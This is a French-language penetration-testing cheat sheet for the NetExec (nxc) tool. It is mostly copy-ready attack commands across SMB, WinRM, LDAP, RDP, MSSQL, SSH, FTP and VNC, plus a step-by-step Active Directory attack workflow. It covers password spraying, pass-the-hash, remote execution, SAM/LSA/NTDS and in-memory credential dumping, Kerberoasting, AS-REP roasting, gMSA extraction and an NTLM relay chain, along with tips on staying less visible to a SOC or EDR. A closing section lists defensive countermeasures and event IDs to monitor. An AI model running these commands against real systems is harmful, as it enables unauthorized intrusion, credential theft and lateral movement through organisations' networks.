📋 Fiche Outil : NetExec (nxc)


📋 Note
⚠️ Outil Bruyant (OPSEC) : NetExec génère beaucoup de trafic et de logs (Event ID 4625 pour les échecs, 4624 pour les succès). Un scan massif d’un /24 avec tentatives de connexion alertera quasi-instantanément un SOC. Conseil : Utiliser avec précision ou en modulant les délais.

Successeur officiel de CrackMapExec. Syntaxe identique : crackmapexec smb = nxc smb.

Outil Similaire : CrackMapExec (legacy), enum4linux-ng, smbmap

Outil Complémentaire : Responder (capture NTLM), Impacket (relay, exec, secretsdump), BloodHound (cartographie AD), mimikatz (extraction credentials)

Liens utiles : Port 139 et 445 – SMB, [](../Ports/N°/Port%205985%20-%20WinRM.canvas), [](../Ports/N°/Port%203389%20-%20RDP.canvas), Port 389 – LDAP, [](../Ports/N°/Port%201433%20-%20MSSQL.canvas)

🎯 Objectif Principal

NetExec (nxc) remplace l’utilisation manuelle de multiples outils (nmap, hydra, psexec, smbclient). Il agit comme un scanner intelligent multiprotocole pour :

  1. Cartographier : Identifier les versions Windows, les partages, la signature SMB, les services exposés.
  2. Valider : Tester des identifiants (Password Spraying) ou des hashs (Pass-the-Hash) sur tous les protocoles.
  3. Exploiter : Exécuter des commandes, dumper la SAM/LSA/NTDS, extraire des credentials en mémoire.

Indicateur clé : si l’accès est réussi, le texte s’affiche en jaune [+]. Si l’utilisateur est administrateur local, le texte s’affiche en vert avec la mention (Pwn3d!) — c’est le signal pour le mouvement latéral.


Syntaxe Générale
bash
# Cible unique
nxc <protocole> <IP_cible> [options]

# Cibles multiples (format CIDR)
nxc <protocole> <IP>/24 [options]

# Authentification
nxc <protocole> <IP> -u <user | user_file> -p <pass | pass_file>

# Authentification par hash (Pass-the-Hash)
nxc <protocole> <IP> -u <user> -H <NTLM_hash>

Paramètres Globaux (communs à tous les protocoles)

Option Description Exemple d’utilisation
-u Nom d’utilisateur ou fichier de liste. '' pour null session nxc smb 10.10.10.5 -u admin
-p Mot de passe ou fichier de liste. '' pour vide nxc smb 10.10.10.5 -u admin -p 'Pass123'
-H Hash NTLM (Pass-the-Hash). Format LM:NT ou NT nxc smb 10.10.10.5 -u admin -H <hash>
-d Domaine Active Directory nxc smb 10.10.10.5 -u admin -p 'pass' -d CORP
--local-auth Force l’authentification locale (.Administrateur) nxc smb 10.10.10.5 -u admin -p 'pass' --local-auth
--continue-on-success Continuer après un succès (spray) nxc smb 10.10.10.5 -u users.txt -p 'pass' --continue-on-success
-M Charger un module post-exploitation nxc smb 10.10.10.5 -u admin -p 'pass' -M sam
-L Lister les modules disponibles pour un protocole nxc smb -L
-x Exécuter une commande système (cmd.exe) nxc smb 10.10.10.5 -u admin -p 'pass' -x "whoami"
-X Exécuter une commande PowerShell nxc smb 10.10.10.5 -u admin -p 'pass' -X "Get-Process"
--no-bruteforce Ne pas tester les combinaisons croisées user/pass nxc smb 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce

SMB (nxc smb)

📌 Port 445 — Protocole le plus riche en fonctionnalités

SMB est le protocole principal de NetExec. Il permet l’énumération complète d’un environnement AD, le test d’identifiants, le mouvement latéral, le dump de hash et l’exécution de commandes. C’est le point d’entrée classique d’un pentest AD.

Paramètres SMB

Option Description Exemple d’utilisation
--shares Lister les partages SMB et droits d’accès (READ/WRITE) nxc smb 10.10.10.5 --shares
--users Énumérer les utilisateurs via RPC nxc smb 10.10.10.5 --users
--users-export Exporter la liste d’utilisateurs dans un fichier nxc smb 10.10.10.5 --users-export users.txt
--groups Énumérer les groupes du domaine nxc smb 10.10.10.5 --groups
--rid-brute Bruteforce les RIDs pour trouver des utilisateurs nxc smb 10.10.10.5 --rid-brute
--pass-pol Afficher la politique de mot de passe du domaine nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol
--sam Dump de la base SAM locale. Nécessite admin nxc smb 10.10.10.5 -u admin -p 'pass' --sam
--lsa Dump des secrets LSA nxc smb 10.10.10.5 -u admin -p 'pass' --lsa
--ntds Dump de la base NTDS.dit (DCSync). Nécessite Domain Admin nxc smb 10.10.10.5 -u admin -p 'pass' --ntds
--sessions Lister les sessions actives nxc smb 10.10.10.5 -u admin -p 'pass' --sessions
--gen-relay-list Générer une liste de cibles pour NTLM relay nxc smb --gen-relay-list targets.txt 10.10.10.0/24

Commandes Essentielles SMB

Découverte de machines SMB sur un sous-réseau :

bash
nxc smb 192.168.1.0/24

Énumération anonyme (null session) des partages et utilisateurs :

bash
nxc smb 10.10.10.5 -u '' -p '' --shares
nxc smb 10.10.10.5 -u '' -p '' --rid-brute
nxc smb 10.10.10.5 -u '' -p '' --users

Export de la liste d’utilisateurs dans un fichier :

bash
nxc smb 10.10.10.5 -u '' -p '' --users-export users.txt

Test d’identifiants et vérification de la politique de mot de passe :

bash
nxc smb 10.10.10.5 -u 'admin' -p 'Password1'
nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol

Pass-the-Hash sur SMB :

bash
nxc smb 10.10.10.5 -u 'admin' -H '<NTLM_HASH>'

Exécution de commande à distance (nécessite Pwn3d!) :

bash
nxc smb 10.10.10.5 -u 'admin' -p 'pass' --local-auth -x "whoami"

Dump de hash (SAM, LSA, NTDS) :

bash
nxc smb 10.10.10.5 -u admin -p 'pass' --sam
nxc smb 10.10.10.5 -u admin -p 'pass' --lsa
nxc smb 10.10.10.5 -u admin -p 'pass' --ntds

Exemples Pratiques SMB

1. Reconnaissance initiale (Null Session / Guest)

Tenter de lister les partages ou utilisateurs sans identifiants.

bash
nxc smb 192.168.1.0/24 -u '' -p '' --shares
nxc smb 192.168.1.0/24 -u 'guest' -p '' --shares

_Explication : Teste l’accès anonyme et le compte guest sur tout le sous-réseau. Affiche les partages disponibles avec les droits READ/WRITE. Certaines machines refuseront la null session._

2. Password Spraying sur un domaine

Tester un mot de passe courant sur une liste d’utilisateurs récupérée.

bash
nxc smb 10.10.10.0/24 -u users.txt -p 'Bienvenue123!' --continue-on-success

_Explication : Teste le mot de passe Bienvenue123! pour chaque utilisateur du fichier users.txt. L’option --continue-on-success trouve toutes les machines accessibles au lieu de s’arrêter au premier match._

3. Cartographie des droits admin (chasse au Pwn3d!)

Identifier sur quelles machines l’utilisateur compromis est administrateur local.

bash
nxc smb 192.168.1.0/24 -u 'j.doe' -p 'Password123'

_Explication : Teste les credentials sur tout le sous-réseau. Les lignes vertes avec (Pwn3d!) indiquent les machines où j.doe est administrateur local — cibles prioritaires pour le mouvement latéral._

4. Exécution de commande (mouvement latéral)

Exécuter une commande sur une cible compromise avec un compte local.

bash
nxc smb 10.10.10.50 -u 'Administrateur' -p 'Pass123' --local-auth -x "whoami"

_Explication : --local-auth force l’authentification avec le compte local .Administrateur. -x exécute la commande via cmd.exe. Nécessite le statut (Pwn3d!)._

5. Extraction de hashs (post-exploitation)

Dumper la base SAM locale pour récupérer d’autres accès.

bash
nxc smb 10.10.10.50 -u 'Administrateur' -p 'Pass123' --local-auth -M sam

_Explication : Le module -M sam extrait les hash de la base SAM locale. Ces hash peuvent être réutilisés en Pass-the-Hash sur d’autres machines du réseau._

6. Dump NTDS.dit (DCSync sur un Domain Controller)

Récupérer tous les hash du domaine via une attaque DCSync/DCSync.md).

bash
nxc smb 10.10.10.5 -u 'admin' -p 'password' --ntds

_Explication : Exploite la vulnérabilité DCSync pour extraire la base NTDS.dit contenant tous les hash NTLM du domaine. Nécessite des droits Domain Admin ou des privilèges de réplication._

7. Génération de liste pour NTLM Relay

Créer un fichier de cibles vulnérables au NTLM relay (SMB signing désactivé).

bash
nxc smb --gen-relay-list smb_targets.txt 10.10.11.0/24

_Explication : Identifie les machines avec signing:False. Ces machines sont vulnérables au NTLM relay. Le résultat est sauvegardé dans smb_targets.txt pour ntlmrelayx.py._

Modules SMB notables

Lister tous les modules disponibles :

bash
nxc smb -L
bash
# sam — dump de la base SAM locale
nxc smb 192.168.1.100 -u admin -p 'pass' --local-auth -M sam

# lsassy — extraction de credentials en mémoire (alternative à mimikatz)
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M lsassy

# spider_plus — recherche de fichiers sensibles dans les partages
nxc smb 192.168.1.100 -u admin -p 'pass' -M spider_plus

# webdav — énumération des services WebDAV
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M webdav

WinRM (nxc winrm)

📌 Ports 5985 (HTTP) / 5986 (HTTPS) — Exécution de commandes à distance

WinRM (Windows Remote Management) est le protocole utilisé par PowerShell Remoting. Il permet d’exécuter des commandes à distance sur les machines Windows où le service est activé. Vecteur de mouvement latéral puissant car il donne un shell interactif complet.

Paramètres WinRM

Option Description Exemple d’utilisation
-x Exécuter une commande système (cmd.exe) nxc winrm 10.10.10.5 -u admin -p 'pass' -x "whoami"
-X Exécuter une commande PowerShell nxc winrm 10.10.10.5 -u admin -p 'pass' -X "Get-Process"
--no-bruteforce Ne pas tester les combinaisons croisées user/pass nxc winrm 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce

Commandes Essentielles WinRM

Test d’identifiants via WinRM :

bash
nxc winrm 10.10.10.5 -u 'admin' -p 'Password1'

Pass-the-Hash via WinRM :

bash
nxc winrm 10.10.10.5 -u 'admin' -H '<NTLM_HASH>' -d 'CORP'

Exécution de commande système (cmd.exe) :

bash
nxc winrm 10.10.10.5 -u 'admin' -p 'pass' -x "whoami /all"

Exécution de commande PowerShell :

bash
nxc winrm 10.10.10.5 -u 'admin' -p 'pass' -X "Get-ADUser -Filter * | Select Name"

Exemples Pratiques WinRM

1. Validation d’accès WinRM sur un réseau

Identifier les machines où WinRM est activé et où les credentials fonctionnent.

bash
nxc winrm 192.168.1.0/24 -u 'j.doe' -p 'Password123'

_Explication : Scanne tout le sous-réseau sur le port 5985. Un [+] indique que les credentials sont valides et WinRM est accessible. (Pwn3d!) indique qu’on peut exécuter des commandes._

2. Mouvement latéral via Pass-the-Hash

Utiliser un hash NTLM récupéré pour obtenir une exécution de commande via WinRM.

bash
nxc winrm 10.10.10.50 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99' -d 'CORP.LOCAL' -x "hostname"

_Explication : Authentification en PTH via WinRM. Plus discret que SMB pour l’exécution de commandes car WinRM génère moins de logs visibles par défaut (Event ID 4648, 91)._

3. Exécution PowerShell à distance

Exécuter des commandes PowerShell avancées pour la collecte d’information.

bash
nxc winrm 10.10.10.50 -u 'admin' -p 'pass' -X "Get-LocalUser | Select Name,Enabled"

_Explication : -X exécute via PowerShell (et non cmd.exe). Utile pour les cmdlets AD, la collecte d’info système, ou le déploiement de payloads._


LDAP (nxc ldap)

Port 389 (LDAP) / 636 (LDAPS)

Énumération Active Directory Le protocole LDAP permet d’interroger directement l’annuaire Active Directory. NetExec l’utilise pour énumérer les utilisateurs, groupes, GPO, et pour des attaques spécifiques comme le Kerberoasting ou l’AS-REP Roasting sans passer par SMB. Souvent plus rapide que SMB pour le password spraying et l’énumération. Permet aussi de vérifier si le LDAP Signing est activé.

Paramètres LDAP

Option Description Exemple d’utilisation
--users Énumérer la liste complète des utilisateurs du domaine. Peut être très verbeux nxc ldap 10.10.10.5 -u user -p 'pass' --users
--groups Énumérer les groupes du domaine nxc ldap 10.10.10.5 -u user -p 'pass' --groups
--kerberoasting Identifier les comptes vulnérables au Kerberoasting. Liste les utilisateurs avec un SPN (Service Principal Name) nxc ldap 10.10.10.5 -u user -p 'pass' --kerberoasting output.txt
--asreproast Attaque AS-REP Roasting. Récupère le hash des utilisateurs dont la pré-authentification Kerberos est désactivée nxc ldap 10.10.10.5 -u user -p 'pass' --asreproast output.txt
--trusted-for-delegation Lister les comptes/machines configurés pour la délégation (Unconstrained/Constrained). Utile pour des attaques de rebond nxc ldap 10.10.10.5 -u user -p 'pass' --trusted-for-delegation
--password-not-required Lister les comptes configurés sans exigence de mot de passe. Configuration dangereuse à exploiter immédiatement nxc ldap 10.10.10.5 -u user -p 'pass' --password-not-required
--admin-count Lister les objets protégés (AdminCount=1). Indique souvent des comptes à hauts privilèges nxc ldap 10.10.10.5 -u user -p 'pass' --admin-count
--gmsa Extraire les mots de passe des comptes gMSA nxc ldap 10.10.10.5 -u user -p 'pass' --gmsa
--bloodhound Collecte basique de données pour BloodHound. Moins complet que SharpHound, mais utile pour un aperçu rapide nxc ldap 10.10.10.5 -u user -p 'pass' --bloodhound -ns 10.10.10.5
-M get-desc Module. Extrait les descriptions des utilisateurs. Recherche souvent des mots de passe oubliés dans les descriptions nxc ldap 10.10.10.5 -u user -p 'pass' -M get-desc

Commandes Essentielles LDAP

Énumération des utilisateurs et groupes du domaine :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --users
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --groups

Kerberoasting — extraction des TGS pour cracking offline :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --kerberoasting kerb_output.txt

AS-REP Roasting — récupérer les hash des comptes sans pré-authentification Kerberos :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --asreproast asrep_output.txt

Identification des comptes à haut privilège et mauvaises configurations :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --admin-count
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --trusted-for-delegation
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --password-not-required

Extraction des mots de passe gMSA :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --gmsa

Chasse aux mots de passe dans les descriptions utilisateurs :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' -M get-desc

Collecte de données pour BloodHound :

bash
nxc ldap 10.10.10.5 -u 'user' -p 'pass' --bloodhound -ns 10.10.10.5

Exemples Pratiques LDAP

1. Test d’identifiants et vérification LDAP Signing

Vérifier si les credentials sont valides et si le serveur impose la signature LDAP.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123'

_Explication : Teste les credentials contre le service LDAP. Si la sortie indique LDAP Signing: False, une attaque NTLM Relay vers LDAP est possible (avec ntlmrelayx.py --target ldap://10.10.10.10). C’est un check important à faire systématiquement._

2. Énumération complète du domaine

Récupérer la liste des utilisateurs, groupes et comptes à privilèges via LDAP.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --users --groups

_Explication : Interroge l’annuaire LDAP pour lister tous les utilisateurs et groupes du domaine. Plus fiable que l’énumération SMB car interroge directement la base AD. Peut être très verbeux sur un gros domaine._

3. Password Spraying via LDAP

Tester un mot de passe sur tous les utilisateurs. Souvent plus rapide qu’en SMB.

bash
nxc ldap 10.10.10.10 -u user_list.txt -p 'Bienvenue123!' --continue-on-success

_Explication : Alternative au spraying SMB. Le spraying via LDAP est souvent plus rapide et peut contourner certaines restrictions SMB. Vérifier la politique de lockout au préalable avec nxc smb <IP> --pass-pol._

4. AS-REP Roasting

Chercher des utilisateurs vulnérables sans avoir besoin d’être admin.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --asreproast asrep_hashes.txt

_Explication : Identifie les comptes avec l’attribut DONT_REQUIRE_PREAUTH activé et récupère leur hash AS-REP. Le hash peut être cracké offline avec Hashcat (-m 18200). Ne nécessite aucun privilège particulier — n’importe quel utilisateur authentifié peut lancer cette attaque._

5. Kerberoasting

Identifier les comptes de service avec un SPN et extraire les tickets TGS pour cracking offline.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --kerberoasting kerb_hashes.txt

_Explication : Recherche les comptes utilisateurs avec un Service Principal Name (SPN) et demande un ticket TGS pour chacun. Les tickets sont sauvegardés dans kerb_hashes.txt au format Hashcat (-m 13100) / John pour cracking offline._

6. Chasse aux mots de passe dans les descriptions

Utiliser le module get-desc pour lire le champ « Description » de tous les comptes.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' -M get-desc

_Explication : Les administrateurs laissent parfois des mots de passe ou des indices dans le champ description des comptes utilisateurs ou de service. Ce module les extrait automatiquement. Quick win fréquent en pentest AD._

7. Identification de mauvaises configurations AD

Rechercher les comptes avec des configurations dangereuses.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --trusted-for-delegation
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --password-not-required
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --admin-count

_Explication : --trusted-for-delegation révèle les comptes/machines avec délégation non contrainte (risque d’impersonation, attaques de rebond complexes). --password-not-required trouve les comptes qui peuvent avoir un mot de passe vide — à exploiter immédiatement. --admin-count liste les objets protégés (AdminCount=1), souvent des comptes à hauts privilèges._

8. Collecte BloodHound

Récupérer toutes les données nécessaires pour la cartographie AD avec BloodHound.

bash
nxc ldap 10.10.10.10 -u 'peter' -p 'Password123' --bloodhound -ns 10.10.10.10

_Explication : Collecte les relations AD (groupes, sessions, ACL, etc.) et génère les fichiers JSON importables dans BloodHound. Moins complet que SharpHound mais utile pour un aperçu rapide sans déposer d’exécutable sur la cible. -ns spécifie le serveur DNS à utiliser pour la résolution._


RDP (nxc rdp)

📌 Port 3389 — Test d'identifiants et capture d'écran

Le protocole RDP permet de tester des identifiants sur le service Bureau à distance et de prendre des captures d’écran des sessions actives. Utile pour valider des credentials et identifier visuellement ce qui tourne sur les machines.

Paramètres RDP

Option Description Exemple d’utilisation
--nla Vérifier si Network Level Authentication est activé nxc rdp 10.10.10.5 --nla
--screenshot Prendre une capture d’écran de la session RDP nxc rdp 10.10.10.5 -u admin -p 'pass' --screenshot
--screentime Durée d’attente avant screenshot (en secondes) nxc rdp 10.10.10.5 -u admin -p 'pass' --screenshot --screentime 5

Commandes Essentielles RDP

Test d’identifiants via RDP :

bash
nxc rdp 10.10.10.5 -u 'admin' -p 'Password1'

Test d’identifiants sur un sous-réseau entier :

bash
nxc rdp 192.168.1.0/24 -u 'admin' -p 'Password1'

Vérification de NLA (Network Level Authentication) :

bash
nxc rdp 192.168.1.0/24 --nla

Capture d’écran d’une session RDP active :

bash
nxc rdp 10.10.10.5 -u 'admin' -p 'pass' --screenshot --screentime 5

Exemples Pratiques RDP

1. Validation d’identifiants RDP sur un réseau

Tester des credentials sur toutes les machines avec RDP exposé.

bash
nxc rdp 192.168.1.0/24 -u 'admin' -p 'Password123' --continue-on-success

_Explication : Scanne le port 3389 sur tout le sous-réseau et teste les identifiants. Un [+] indique que les credentials sont valides. Utile pour vérifier la réutilisation de mots de passe._

2. Password Spraying via RDP

Tester un mot de passe courant contre une liste d’utilisateurs.

bash
nxc rdp 10.10.10.5 -u users.txt -p 'Welcome2024!' --continue-on-success

_Explication : Alternative au spraying SMB. Le spraying via RDP peut être moins détecté par certains EDR qui se concentrent sur SMB. Vérifier la politique de lockout au préalable._

3. Capture d’écran à distance

Prendre un screenshot de ce qui est affiché sur une session RDP.

bash
nxc rdp 10.10.10.50 -u 'admin' -p 'pass' --screenshot --screentime 10

_Explication : Se connecte en RDP, attend 10 secondes et prend un screenshot. Utile pour identifier visuellement les applications en cours, les documents ouverts, ou les sessions utilisateur actives. Les screenshots sont sauvegardés localement._


MSSQL (nxc mssql)

📌 Port 1433 — Attaques sur Microsoft SQL Server

Le protocole MSSQL permet de tester des identifiants sur les serveurs SQL Server, d’exécuter des requêtes SQL et des commandes système via xp_cmdshell. Les serveurs SQL sont souvent liés à des comptes de service avec des privilèges élevés dans le domaine.

Paramètres MSSQL

Option Description Exemple d’utilisation
-q Exécuter une requête SQL nxc mssql 10.10.10.5 -u sa -p 'pass' -q "SELECT @@version"
-x Exécuter une commande système via xp_cmdshell nxc mssql 10.10.10.5 -u sa -p 'pass' -x "whoami"
--local-auth Authentification SQL (compte SQL, pas Windows) nxc mssql 10.10.10.5 -u sa -p 'pass' --local-auth

Commandes Essentielles MSSQL

Test d’identifiants sur SQL Server :

bash
nxc mssql 10.10.10.5 -u 'sa' -p 'Password1'

Authentification SQL locale (compte SQL et non Windows) :

bash
nxc mssql 10.10.10.5 -u 'sa' -p 'Password1' --local-auth

Exécution d’une requête SQL :

bash
nxc mssql 10.10.10.5 -u 'sa' -p 'pass' -q "SELECT name FROM sys.databases"

Exécution de commande système via xp_cmdshell :

bash
nxc mssql 10.10.10.5 -u 'sa' -p 'pass' -x "whoami"

Exemples Pratiques MSSQL

1. Test d’identifiants SQL Server

Tester le compte sa (System Administrator) par défaut.

bash
nxc mssql 192.168.1.0/24 -u 'sa' -p 'sa' --local-auth
nxc mssql 192.168.1.0/24 -u 'sa' -p '' --local-auth

_Explication : Teste le compte sa avec un mot de passe faible ou vide sur tout le sous-réseau. L’authentification SQL (--local-auth) est séparée de l’authentification Windows._

2. Exécution de commande via xp_cmdshell

Obtenir un shell système via SQL Server.

bash
nxc mssql 10.10.10.50 -u 'sa' -p 'password' --local-auth -x "whoami"

_Explication : Utilise xp_cmdshell pour exécuter des commandes système. Le service SQL Server tourne souvent sous un compte de service avec des privilèges élevés (NT SERVICEMSSQLSERVER ou un compte de domaine)._

3. Énumération des bases de données

Lister les bases de données disponibles pour identifier des données sensibles.

bash
nxc mssql 10.10.10.50 -u 'sa' -p 'password' --local-auth -q "SELECT name FROM sys.databases"

_Explication : Liste toutes les bases de données de l’instance SQL. Chercher des bases comme credentials, passwords, backup, ou des bases métier contenant des données sensibles._


SSH (nxc ssh)

📌 Port 22 — Test d'identifiants SSH

Le protocole SSH permet de tester des identifiants sur les serveurs Linux/Unix. Utile pour le bruteforce, le password spraying et l’exécution de commandes à distance sur des machines non-Windows.

Commandes Essentielles SSH

Test d’identifiants SSH :

bash
nxc ssh 10.10.10.5 -u 'root' -p 'password'

Password spraying sur des serveurs Linux :

bash
nxc ssh 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success

Exécution de commande à distance :

bash
nxc ssh 10.10.10.5 -u 'root' -p 'password' -x "id"

Exemples Pratiques SSH

1. Test de credentials sur des serveurs Linux

Tester des identifiants par défaut courants sur tout un sous-réseau.

bash
nxc ssh 192.168.1.0/24 -u 'admin' -p 'admin'
nxc ssh 192.168.1.0/24 -u 'root' -p 'toor'

_Explication : Teste des identifiants par défaut courants (admin/admin, root/toor) sur les serveurs SSH du réseau. Plus rapide que Hydra pour un scan de masse._

2. Bruteforce avec listes

Tester plusieurs combinaisons utilisateur/mot de passe.

bash
nxc ssh 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success

_Explication : Teste toutes les combinaisons des fichiers de listes. --continue-on-success pour ne pas s’arrêter au premier match. Attention au rate limiting SSH (fail2ban, etc.)._


FTP (nxc ftp)

📌 Port 21 — Test d'identifiants FTP

Le protocole FTP permet de tester des identifiants et l’accès anonyme sur les serveurs FTP. Souvent négligé mais peut contenir des fichiers de configuration, des backups ou des credentials.

Commandes Essentielles FTP

Test d’accès anonyme :

bash
nxc ftp 192.168.1.0/24 -u 'anonymous' -p ''

Test d’identifiants :

bash
nxc ftp 10.10.10.5 -u 'admin' -p 'password'

Password spraying :

bash
nxc ftp 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success

Exemples Pratiques FTP

1. Recherche d’accès anonyme sur un réseau

Identifier les serveurs FTP autorisant l’accès anonyme.

bash
nxc ftp 192.168.1.0/24 -u 'anonymous' -p ''
nxc ftp 192.168.1.0/24 -u 'anonymous' -p 'anonymous'

_Explication : Scanne tout le sous-réseau pour trouver les serveurs FTP avec accès anonyme. Souvent des serveurs de backup ou de transfert contenant des fichiers sensibles (configs, scripts, credentials)._


VNC (nxc vnc)

📌 Port 5900 — Test d'identifiants VNC

Le protocole VNC permet de tester des identifiants sur les serveurs VNC. VNC utilise souvent une authentification par mot de passe uniquement (sans nom d’utilisateur).

Commandes Essentielles VNC

Test de mot de passe VNC :

bash
nxc vnc 10.10.10.5 -p 'password'

Scan de serveurs VNC sur un réseau :

bash
nxc vnc 192.168.1.0/24 -p 'password'

Exemples Pratiques VNC

1. Test de mots de passe courants sur VNC

Tester des mots de passe par défaut sur les serveurs VNC.

bash
nxc vnc 192.168.1.0/24 -p 'password'
nxc vnc 192.168.1.0/24 -p 'vnc'

_Explication : VNC utilise souvent un mot de passe seul (pas de nom d’utilisateur). Les mots de passe par défaut sont fréquents sur les serveurs VNC mal configurés._


Base de données intégrée (nxcdb)

📌 Stockage automatique des résultats

NetExec stocke automatiquement tous les résultats (credentials, machines, hash) dans une base SQLite locale. On peut la requêter avec nxcdb.

bash
nxcdb
# Puis dans le shell interactif :
proto smb
creds
hosts

_Explication : Permet de retrouver les credentials et machines découverts lors de sessions précédentes sans relancer les scans. Très utile pour reprendre un pentest ou croiser les résultats entre protocoles._

Astuces & Ressources NetExec

Suivi & Recommandation

⚠️ Méthodologie recommandée

Workflow complet d’utilisation de NetExec dans un pentest AD. Toujours commencer par vérifier la politique de mot de passe avant tout bruteforce.

Étape 1 — Vérification de la politique de mot de passe (CRITIQUE avant tout spraying).

bash
nxc smb 10.10.10.5 -u 'user' -p 'pass' --pass-pol

_Si Account Lockout Threshold est bas (ex : 3 ou 5), le bruteforce est interdit — risque de lockout massif._

Étape 2 — Découverte réseau et identification des cibles. Vérifier la signature SMB.

bash
nxc smb 10.10.10.0/24

_signing:False = cible potentielle pour du NTLM Relaying avec ntlmrelayx.py._

Étape 3 — Énumération sans credentials (null session, guest, RID brute).

bash
nxc smb 10.10.10.5 -u '' -p '' --shares --users --rid-brute

Étape 4 — Password spraying avec les utilisateurs découverts.

bash
nxc smb 10.10.10.5 -u users.txt -p 'Password123!' -d CORP --continue-on-success

Étape 5 — Avec des credentials valides, énumérer le domaine via LDAP.

bash
nxc ldap 10.10.10.5 -u user1 -p 'pass' --users --groups --kerberoasting kerb.txt --asreproast asrep.txt

Étape 6 — Cartographier les droits admin et se latéraliser (SMB + WinRM).

bash
nxc smb 10.10.10.0/24 -u user1 -p 'pass'
nxc winrm 10.10.10.0/24 -u user1 -p 'pass'

_Chercher les (Pwn3d!) sur les deux protocoles._

Étape 7 — Dump de credentials sur les machines (Pwn3d!).

bash
nxc smb 10.10.10.50 -u admin -p 'pass' --local-auth -M sam
nxc smb 10.10.10.50 -u admin -p 'pass' --local-auth --lsa

Étape 8 — (Optionnel) NTLM Relay avec les cibles sans SMB signing.

bash
nxc smb --gen-relay-list smb_targets.txt 10.10.10.0/24
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
sudo responder -I eth0

Combinaisons Utiles

🔗 Pipes & Enchaînements

NetExec s’intègre dans un workflow d’attaque AD complet avec Responder, Impacket et BloodHound.

bash
# Workflow NTLM Relay complet
nxc smb 10.10.10.0/24 --gen-relay-list smb_targets.txt
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
sudo responder -I eth0
nxc smb 10.10.10.0/24 -u admin -H <hash_récupéré> --sam
bash
# Kerberoasting → cracking offline → réutilisation
nxc ldap 10.10.10.5 -u user -p 'pass' --kerberoasting kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
nxc smb 10.10.10.0/24 -u svc_account -p 'crackedpassword'
bash
# Collecte BloodHound via LDAP
nxc ldap 10.10.10.5 -u user -p 'pass' --bloodhound -ns 10.10.10.5
bash
# Enrichir un scan avec modules
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M spider_plus
nxc smb 192.168.1.0/24 -u admin -p 'pass' -M lsassy

Cas Particuliers & Pièges

⚠️ Points d'attention
  • (Pwn3d!) vs [+] : Un [+] jaune signifie que les credentials sont valides. (Pwn3d!) vert signifie en plus que l’utilisateur est administrateur local — c’est l’indicateur clé pour le dump et l’exécution de commandes.
  • --local-auth : Indispensable pour tester un compte local (ex : .Administrateur). Sans ce flag, l’authentification se fait contre le domaine par défaut. Aussi nécessaire pour l’authentification SQL (nxc mssql).
  • Lockout : TOUJOURS vérifier la politique avec --pass-pol avant tout password spraying. Un Account Lockout Threshold bas = bruteforce interdit.
  • SMB signing : Lors du scan initial, nxc indique signing:True ou False. signing:True = pas vulnérable au NTLM relay.
  • OPSEC : NetExec est extrêmement bruyant. Chaque tentative génère un Event ID 4625/4624. Un SOC détectera rapidement un scan massif.
  • VNC : Pas de nom d’utilisateur, seulement -p. Ne pas mettre -u.
  • CrackMapExec vs NetExec : CME n’est plus maintenu. La syntaxe est identique : crackmapexec smb = nxc smb.

Défense & Ressources

Contre-mesures & Détection

🛡️ Côté Défensif
  • Activer SMB signing sur toutes les machines pour bloquer le NTLM relay
  • Désactiver NTLMv1 et forcer NTLMv2 minimum
  • Politique de lockout : Configurer un seuil de verrouillage pour limiter le password spraying
  • Logs à surveiller : Event ID 4625 (échec auth), 4624 (succès type 3 réseau), 4776 (validation NTLM), 4648 (logon explicite WinRM), 91 (WinRM)
  • IDS/IPS : Les signatures de NetExec sont détectées par la plupart des EDR modernes
  • Segmentation réseau : Limiter l’accès SMB (445), WinRM (5985), RDP (3389) entre postes de travail
  • LAPS : Déployer Local Administrator Password Solution pour casser le mouvement latéral
  • Désactiver les null sessions et le compte guest
  • Désactiver xp_cmdshell sur les serveurs SQL Server
  • Restreindre WinRM aux seuls administrateurs et machines autorisées via GPO
  • Auditer les SPN : Supprimer les SPN inutiles sur les comptes utilisateurs (limiter le Kerberoasting)
  • Pré-authentification Kerberos : S’assurer qu’elle est activée sur tous les comptes (limiter l’AS-REP Roasting)

Installation

💡 Installation
bash
# Préinstallé sur Kali Linux (versions récentes)
# Sinon :
sudo apt install netexec

# Ou via pipx (recommandé)
pipx install netexec

# Vérifier l'installation
nxc --version

Équivalent Windows

🪟 Section optionnelle

NetExec propose des builds Windows (nxc.exe). Côté outils natifs Windows :

Linux Windows Notes
nxc smb nxc.exe smb NetExec a des builds Windows
nxc winrm -x Invoke-Command (PowerShell) Exécution à distance native
nxc smb --sam reg save / secretsdump.py Dump SAM
nxc smb --users net user /domain Énumération utilisateurs
nxc ldap --users Get-ADUser -Filter * Énumération AD via PowerShell
nxc mssql -q sqlcmd Requêtes SQL natives
nxc rdp mstsc.exe / cmdkey Client RDP natif

Liens & Ressources

